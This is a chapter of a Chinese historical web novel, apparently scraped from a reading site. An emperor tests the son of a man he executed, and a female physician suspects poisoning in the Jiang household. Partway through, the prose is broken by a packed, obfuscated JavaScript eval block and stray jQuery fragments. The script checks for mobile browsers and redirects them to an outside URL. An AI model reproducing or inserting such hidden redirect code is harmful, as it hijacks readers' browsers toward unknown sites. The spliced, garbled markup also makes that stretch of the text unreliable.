皇帝坐在御书房,翻看太监呈上的卷宗。
里面详细记录着本届新科贡士的出身背景,日常言行,写得极细。
其中着墨最多的,当属风头正盛的会元崔巍。
殿试结束,十份最好的答卷已摆在皇帝面前,由他钦点前三甲。
皇帝仔细翻阅崔巍的答卷。
无论是治国方略的缜密布局,还是行文间展现的锐利见解,都让他确信这是个可用之才。
皇帝将答卷轻轻搁在案上,背靠龙椅闭目沉思。
朝中人才济济,他自然不缺一个能干的官员。真正堪用的臣子,不仅要有经世之才,更要能为他所用,受他掌控。
成国公虽是个庸碌之辈,膝下这个儿子倒是出人意料地伶俐。
皇帝绝非庸碌之君。
作为衡国继位的第二位皇帝,他登基时,先皇已将内外祸患扫平,留下了一个根基稳固的江山。
他要做的,是如何让这江山更加兴盛,绵延万世。
他性情不算温和,但也是能够任用贤才、听得进劝诫之人,否则也不会在陆之友的劝告下,放了崔巍一马。
既已饶过他一次,如今要不要再用他?
皇帝思量片刻,抬手示意侍立身侧的太监:
“将崔巍带来。”
不多时,崔巍便来到御书房。
他虽无官职在身,却不见丝毫畏缩。步履从容走到御前,端端正正行了叩拜大礼。
“草民崔巍,叩见陛下。”
他感觉背后处传来一阵灼热的视线,但并未叫起,于是维持着这个姿势,纹丝不动。
“崔巍。朕,曾见过你。”皇帝的声音从上方传来。
崔巍匍匐在地,声音透过砖石显得有些闷:
“回陛下,草民七岁随家人参加宫中中秋宴,曾蒙陛下御赐玉器。”
皇帝眉梢微挑,神色难辨:
“哦?朕赐你的是什么?”
崔巍答道:“是一柄玉如意。”
“陛下当时说:‘成国公于先皇之功,恰如此如意,能令先皇事事遂心。’”
皇帝低笑一声,不辨喜怒,似乎只带着一丝玩味:
“只可惜啊,你爹没能让朕遂心,所以朕斩了他。”
他目光如实质般落在崔巍背上:
“崔巍,此事,你如何看?”
皇帝这话,问得极其刁钻。
是他亲手诛杀成国公,将其满门打入贱籍,却唯独留下了崔巍这根独苗。
此刻,崔巍若流露出一丝怨怼或恨意,便是自毁前程,连性命也未必能保;
若他阿谀逢迎,赞颂皇帝此举英明,则落得个不孝之名。
一个连至亲受戮都无动于衷之人,纵使说得天花乱坠,又岂能让皇帝真心信任?
崔巍却面无波澜,几乎未假思索,坦然应答:
“回陛下,草民此前,曾身染重疾。”
“一位女医救治于我,她亲手剜去我骨缝间腐肉。剧痛锥心,几令我难以承受,但仍咬牙强忍。女医见状,便宽慰草民道,此乃必行之痛。腐肉不去,难有新肉可生。纵是彻骨之痛,亦须捱过。”
“她又说,那痛楚或许不会淡忘,但新生之肉,终将愈合伤口,填满骨隙。”
崔巍抬起头,目光沉静无波:“于此事,草民斗胆揣测,未必不是如此。”
皇帝沉默半晌,声音听上去有些轻快:
“女医……呵,看来外界有许多朕不知晓的变化。”
“崔巍,抬起头来。”
崔巍顺势抬头。
皇帝目光落在他年轻的脸上:“你年岁几何?”
“回陛下,草民虚岁十八。”
皇帝微微颔首:“成国公那草囊饭袋,倒难得结了个好果,算他歹竹出了支好笋……”
意味不明的笑声在殿内荡开。
崔巍垂眸不语。皇帝瞥向身侧的李公公,那人何等眼力,立刻会意,无声上前将崔巍引下。
御书房重归空寂,只剩皇帝一人。
他执起朱笔,在崔巍那份墨迹干透的答卷上,缓缓画下一个浑圆的圈。
笔尖微顿,一声低语似叹似讽:
“‘腐肉不剜,难生新肌’……呵,倒也贴切。”
*
姜府内。
周夫人所言不假。
姜老夫人躺在床榻上,气息奄奄,比福芝上次见到时更加严重。
福芝顾不得多想,净手后立即施针,总算勉强稳住老夫人那一线游丝般的气息。
手中稍微空下来后,她才思索方才的古怪脉象。
这不对。
福芝拭去额上的汗,眉头紧蹙。
上次诊脉时,老夫人虽病势沉重,但底子却还在,若是常年用珍贵药材温养的身子,再撑个三五年不成问题。
可如今这脉象虚浮无力,面色隐隐泛青,不像忧思成疾的模样,倒像是……
中毒。
她不动声色地眯起眼睛。周夫人见她停手,急忙上前:“如何了?”
福芝借整理药箱的动作,余光扫过周夫人紧绷的面容。
若是做戏,这演技未免太过逼真。
这毒症发作细密隐蔽,若非当年随宋大夫行医时偶然听闻,她恐怕也难以察觉。
可姜府请过的大夫不在少数,难道竟无一人看出端倪?
又或者……是她自己断错了?
福芝略作沉吟,决定暂且按下疑虑:
“老夫人症状有些严重,我先给你写个方子吃着,但后续如何……我也不知。
“总之,银针虽能吊住一口气,具体如何,只能看老夫人的造化了。”
那周夫人眉头一皱,像是没料到事情会如此发展。
她当即拉住福芝的手:“林医女,你可一定要救救老夫人!”
福芝不动声色地抽回手:
“当务之急是先服药。我会每日来施针,若能熬过七日,或许还有转机。”
“这怎么行!”周夫人突然提高声调,随即又挤出笑容,“怎好让姑娘日日奔波?不如就在府上住下,待老夫人痊愈再走不迟。”
福芝:“不必……”
周夫人却打断道:“我记得芮姐儿的院子如今还空着,林姑娘若是不嫌弃,不如在她的院落中休息,也算是你们母女二人重逢……”
周围的身强力壮的仆妇朝前走了几步,福芝环顾一圈,这显然是要强压下她在这里了。
虽然这几个粗使婆子根本不是她的对手,但沉默片刻后,福芝还是轻轻点头。
不知是娘的小院留住了她,又或是对老夫人蹊跷病情的在意,她终究决定在姜府暂住几日。
福芝补充道:
“不过我一人只怕照顾不周,你们最好还是去将宋大夫找来,他一定更加了解。”
周夫人连连答应,又将福芝写下的药方递给丫鬟,拿下去熬药。
似乎生怕福芝不快,又主动起身,殷勤地为福芝推开房门,走在前面带路。
“林姑娘这边请。”
*
姜芮小院。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268606|182200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
崔巍曾提过姜家早年的发家史,家中行商起家,银钱上是不缺的,现在看来确有几分道理。
这小院清幽雅致,一株桃树立在院中,只是深秋时节,只有枯枝在风中轻颤。
正如周夫人所说,这间院落时时都有人打扫着卫生,倒是并不显得脏乱,一切都似乎保留着从前的痕迹。
不过,福芝却感觉有些古怪,将整个小院和房间都逛遍,她才意识到这古怪从何而来。
屋内竟不见一面镜子,连能映出人影的花瓶、铜器都刻意撤去了。
实在不像是女儿的闺房。
周夫人似乎有些胆寒,只是面上不觉,仍详细道:
“我再给姑娘派个小丫鬟,若有什么事,使唤她便是——小翠,近来。”
一个穿着水洗绿的小丫鬟从门外走进,怯生生走上前。
周夫人随口提点:“这位是林医女,这几日在后边的小院住下,你好好服侍。”
小翠当下看向福芝,恭敬道:“林医女。”
福芝倒也没有推辞,只是点头应下。
“等药煎好了再唤我过去吧,我再为老夫人施针。”
周夫人应下,脚下生风,带着一群人很快离去。
福芝看着眼前陌生的装潢,尽管处处透着蹊跷,她却奇异地感到一丝安心。
毕竟,这是她娘生活过的地方。
她随手翻看着书柜里的书册,看着那些诗词歌赋,那些不认识的书名,心里莫名有些酸涩。
娘要是知道她现在认字不识一箩筐,不知会不会难受。
她想起在乡下是姜荷常常跟她聊天,讲了一些母亲的旧事,心里突然有几分好奇,转头问那丫鬟小翠:
“我听周夫人说这里有筝?我正有一爱好,便是筝,小翠能帮我找来看看吗?”
福芝随口胡诌,但小翠却不敢不应。
小翠是府里的家生丫鬟,从小跟在周夫人身边,对姜家往事知道不少。
虽然她没见过那位传说中的大小姐,但姜芮琴棋书画样样精通的名声,她却是耳熟能详。
府里的老嬷嬷们有时私下感叹,说大小姐心地善良却命运多舛。
小翠想了想,带着福芝来到卧房,打开那个早已空荡荡的衣橱——里面孤零零躺着一把古筝,琴弦上落满了灰尘。
小翠伸手去抱,涨红了脸也没能把古筝从衣橱里搬出来。
福芝见状,上前单手一提,稳稳当当地将古筝抱到院中的石桌上。
这小院处处纤尘不染,唯独这把古筝积了厚厚一层灰,断了几根弦,显得格外凄凉。
见福芝动作不对,小翠刚要开口劝阻,却见福芝已经随手拨弄起琴弦。
铮——
几声沉闷的声响在院中回荡。
小翠大骇,忙上前拦住她:
“使不得!”
“林姑娘,姜府之中,严令禁止丝竹之声的!”
福芝挑了挑眉,指尖一顿:“为何?”
小翠憋红了脸:“奴婢、奴婢也不知缘由,只是这是一贯的规矩,说是老夫人年迈,听不得乐器之声,会脑仁疼。”
福芝眯起眼睛,并不听劝,指尖又拨动了两根琴弦。
说来也怪,明明不通音律的她,随手拨弄间竟也带出几分曲调来。
小翠急得直跺脚,正要再劝,忽然听见墙外传来一个颤抖的声音:
“芮娘……芮娘……是你回来了吗?”
那声音又轻又弱,像是怕惊扰了什么似的,却让院中两人同时僵住了动作。